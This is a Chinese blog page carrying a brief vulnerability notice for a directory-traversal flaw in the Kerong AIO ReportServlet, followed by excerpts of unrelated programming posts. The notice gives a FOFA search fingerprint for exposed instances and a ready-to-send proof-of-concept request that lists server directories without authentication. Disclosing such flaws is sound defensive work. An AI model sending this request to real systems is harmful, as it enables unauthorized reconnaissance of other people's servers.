当前位置：首页 > news >正文

科荣AIO ReportServlet存在目录遍历漏洞

news 2026/2/10 3:28:33

文章目录

- - 产品简介
  - 漏洞概述
  - 指纹识别
  - 漏洞利用
  - 修复建议

产品简介

科荣AIO是一款企业管理软件，提供企业一体化管理解决方案。它整合了ERP（如进销存、财务管理）、OA（办公自动化）、CRM（客户关系管理）、UDP（自定义平台），并集成了电子商务平台、支付平台等功能

漏洞概述

科荣AIO ReportServlet存在目录漏洞，未授权的攻击者利用该漏洞导致服务器的文件路径泄露。

指纹识别

fofa:

body="changeAccount('8000')"

漏洞利用

poc:

GET /ReportServlet?operation=getFileList&path=../../../ HTTP/1.1
Host: you_ip
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

在这里插入图片描述

修复建议

联系软件厂商更新至最新安全版本。

【少年如何久年少,少年如何长少年。】

科荣AIO ReportServlet存在目录遍历漏洞

文章目录产品简介漏洞概述指纹识别漏洞利用修复建议产品简介科荣AIO是一款企业管理软件，提供企业一体化管理解决方案。它整合了ERP（如进销存、财务管理）、OA（办公自动化）、CRM（客户关系管理&#xff09…...

编程日记 2023/12/29 8:08:03

Ubuntu Desktop 22.04 桌面主题配置

Ubuntu Desktop 22.04 桌面主题配置使用这么久 Ubuntu Desktop，本着不折腾的原则，简单介绍下自己的桌面主题配置。安装 tweaks 安装 GNOME Shell 安装 GNOME theme安装 gnome-tweaks & chrome-gnome-shell sudo apt update # 安装 gnome-tweaks…...

编程日记 2023/12/29 8:06:01

SuperMap iServer发布的ArcGIS REST 地图服务如何通过ArcGIS API进行要素查询

作者：yx 前言前面我们介绍了SuperMap iServer发布的ArcGIS REST 地图服务如何通过ArcGIS API加载，这里呢我们再来看看如何进行要素查询呢？ 一、服务发布 SuperMap iServer发布的ArcGIS REST 地图服务如何通过ArcGIS API加载已经介绍如何发…...

编程日记 2023/12/29 8:04:59

引入weixin-js-sdk npm i weixin-js-sdk 页面引入 // 引入wxjsimport wx from "weixin-js-sdk"; 点击触发方法 methods: {goweap(id){console.log(wx);// H5传递数据 （navigateBack）wx.miniProgram.navigateBack({delta: 1});wx.min…...

编程日记 2023/12/29 8:03:58

白话机器学习的数学-1-回归

1、设置问题投入的广告费越多，广告的点击量就越高，进而带来访问数的增加。 2、定义模型定义一个函数：一次函数 y ax b （a 是斜率、b 是截距） 定义函数： 3、最小二乘法例子： 用随便确定的参…...

编程日记 2023/12/29 8:02:57

ubuntu22下安装minconda

bing 搜索 canda install 找到官方网站 https://docs.conda.io/projects/miniconda/en/latest/ 这里我们安装minconda。官网有安装方法。 mkdir -p ~/miniconda3 wget https://repo.anaconda.com/miniconda/Miniconda3-latest-Linux-x86_64.sh -O ~/miniconda3/miniconda.sh…...

编程日记 2023/12/29 8:00:53

如何借助边缘网关打造智慧配电房安全方案

配电房是电力系统的重要组成部分，通常设置有各种高压配电装置和箱柜，是企业安全管理的重点。传统的人工巡检和监控总是难以避免疏漏，导致风险隐患的产生和扩大。随着物联网、边缘计算、设备联动控制等技术的普及应用，佰马针对配电…...

编程日记 2023/12/29 7:56:50

k8s的二进制部署

k8s的二进制部署 k8s的二进制部署的实验： 源码包部署 k8s的master01：192.168.233.91 组件：kube-apiserver kube-controller-manager kube-scheduler etcd k8s的master02：192.168.233.92 组件：kube-api…...

编程日记 2023/12/29 7:55:49

Python基础语法总结

1.每条语句结束不需要分号(也可以加上), 直接换行, 注意: 如果两行代码写一行, 则必须加分号. 2.定义变量不需要指定类型(如果需要写类型, 需要在变量名后面加": 类型, 这个写法只是方便读代码). 3.变量名大小写敏感. 4.查看变量类型: type(变量名). 5.Python中的int表…...

编程日记 2023/12/29 7:54:48

矩阵理论基本知识

1、矩阵范数、算子范数矩阵无穷范数是非自相容范数，矩阵1-范数、矩阵2-范数是自相容范数矩阵2-范数：Frobenius范数，是向量2-范数的自然推广。 ∥ A ∥ m 2 ∥ A ∥ F ∑ a i j ∗ a i j \|A\|_{m2}\|A\|_{F}\sqrt{\sum a_{ij}^*a_{ij}} ∥…...

编程日记 2023/12/29 7:53:47

《深入理解Java虚拟机（第三版）》读书笔记：Java内存区域与内存溢出异常、垃圾收集器与内存分配策略

下文是阅读《深入理解Java虚拟机（第3版）》这本书的读书笔记，如有侵权，请联系删除。文章目录第2章 Java内存区域与内存溢出异常2.2　运行时数据区域2.3　HotSpot虚拟机对象探秘第3章垃圾收集器与内存分配策略3.2　对象已死&…...

编程日记 2023/12/29 7:51:45

android 手机主界面侧滑退出app问题

最近重新搭了个app，发现手机显示APP主界面时，沿着手机右边向左滑，会直接关闭应用，所以想搞个第一次提示，第二次退出app的效果。结果搞出个复杂的东西，下面是两段代码。1: 1:GestureDetector扩展函数。其…...

编程日记 2023/12/29 7:45:40

spring boot 配置全局日期和时间格式

spring boot 为项目配置全局日期和时间格式化yyyy-MM-dd HH:mm:ss 方式一：代码配置全局日期和时间格式化 /*** author hua*/ Configuration public class WebConfiguration implements WebMvcConfigurer {/*** 项目全局时间格式化*/ Bean public ObjectMapper get…...

编程日记 2023/12/29 7:43:39

GoLang学习之路，对Elasticsearch的使用，一文足以（包括泛型使用思想）（二）

书写上回，上回讲到，Elasticsearch的使用前提即：语法，表结构，使用类型结构等。要学这个必须要看前面这个：GoLang学习之路，对Elasticsearch的使用，一文足以（包括泛型使用思…...

编程日记 2023/12/29 7:39:36

鸿蒙APP的代码规范

鸿蒙APP的代码规范是为了确保代码质量、可读性和可维护性而定义的一系列规则和标准。以下是一些建议的鸿蒙APP代码规范，希望对大家有所帮助。北京木奇移动技术有限公司，专业的软件外包开发公司，欢迎交流合作。 1. 代码风格： 采用…...

编程日记 2023/12/29 7:36:34

蓝桥杯-每日刷题-027

出租汽车计费器一、题目要求题目描述有一个城市出租汽车的计费规则是3公里内（含3公里）基本费6元，超过3公里，每一公里1.4元。现在对于输入具体的公里数x（0<x<1000），编程计算x公里所需…...

编程日记 2023/12/29 7:31:31

安装Node修改Node镜像地址搭建Vue脚手架创建Vue项目

1、安装VSCode和Node 下载VSCode Visual Studio Code - Code Editing. Redefined 下载Node Node.js (nodejs.org) 检验是否安装成功，WinR,输入cmd命令，使用node -v可以查看到其版本号 2、修改镜像地址安装好node之后，开始修改镜像地址 …...

编程日记 2023/12/29 7:22:23

git 学习之一个规范的 commit 如何写

最好的话做一件完整的事情就提交一次...

编程日记 2023/12/29 7:21:22

2023 年人工智能研究与技术排名前 10 的国家

人工智能研究是一项全球性的工作。虽然美国和中国因其对人工智能的贡献而备受关注，但事实是，世界各国都在涉足这项技术，尝试新的突破，并吸引投资者的关注。斯坦福大学的《2023年人工智能报告》估计，到 2022 年&#…...

编程日记 2023/12/29 7:16:18

留言板（Mybatis连接数据库版）

目录 1.添加Mybatis和SQL的依赖 2.建立数据库和需要的表 3.对应表中的字段，补充Java对象 4.对代码进行逻辑分层 5.后端逻辑代码之前的项目实例【基于Spring MVC的前后端交互案例及应用分层的实现】https://blog.csdn.net/weixin_67793092/article/details/134…...

编程日记 2023/12/29 7:15:18

PPT|230页| 制造集团企业供应链端到端的数字化解决方案：从需求到结算的全链路业务闭环构建

制造业采购供应链管理是企业运营的核心环节，供应链协同管理在供应链上下游企业之间建立紧密的合作关系，通过信息共享、资源整合、业务协同等方式，实现供应链的全面管理和优化，提高供应链的效率和透明度，降低供应链的成…...

编程新知 2026/1/30 22:07:56

c++ 面试题(1)-----深度优先搜索（DFS）实现

操作系统：ubuntu22.04 IDE:Visual Studio Code 编程语言：C11 题目描述地上有一个 m 行 n 列的方格，从坐标 [0,0] 起始。一个机器人可以从某一格移动到上下左右四个格子，但不能进入行坐标和列坐标的数位之和大于 k 的格子。例…...

编程新知 2026/1/10 10:16:16

多模态商品数据接口：融合图像、语音与文字的下一代商品详情体验

一、多模态商品数据接口的技术架构 （一）多模态数据融合引擎跨模态语义对齐通过Transformer架构实现图像、语音、文字的语义关联。例如，当用户上传一张“蓝色连衣裙”的图片时，接口可自动提取图像中的颜色（RGB值&…...

编程新知 2025/7/23 3:55:49

【Java_EE】Spring MVC

目录 Spring Web MVC 编辑注解 RestController RequestMapping RequestParam RequestParam RequestBody PathVariable RequestPart 参数传递注意事项编辑参数重命名 RequestParam 编辑编辑传递集合 RequestParam 传递JSON数据编辑RequestBody …...

编程新知 2026/2/1 16:32:53

初学 pytest 记录

安装 pip install pytest用例可以是函数也可以是类中的方法 def test_func():print()class TestAdd: # def __init__(self): 在 pytest 中不可以使用__init__方法 # self.cc 12345 pytest.mark.api def test_str(self):res add(1, 2)assert res 12def test_int(self):r…...

编程新知 2026/2/8 21:57:26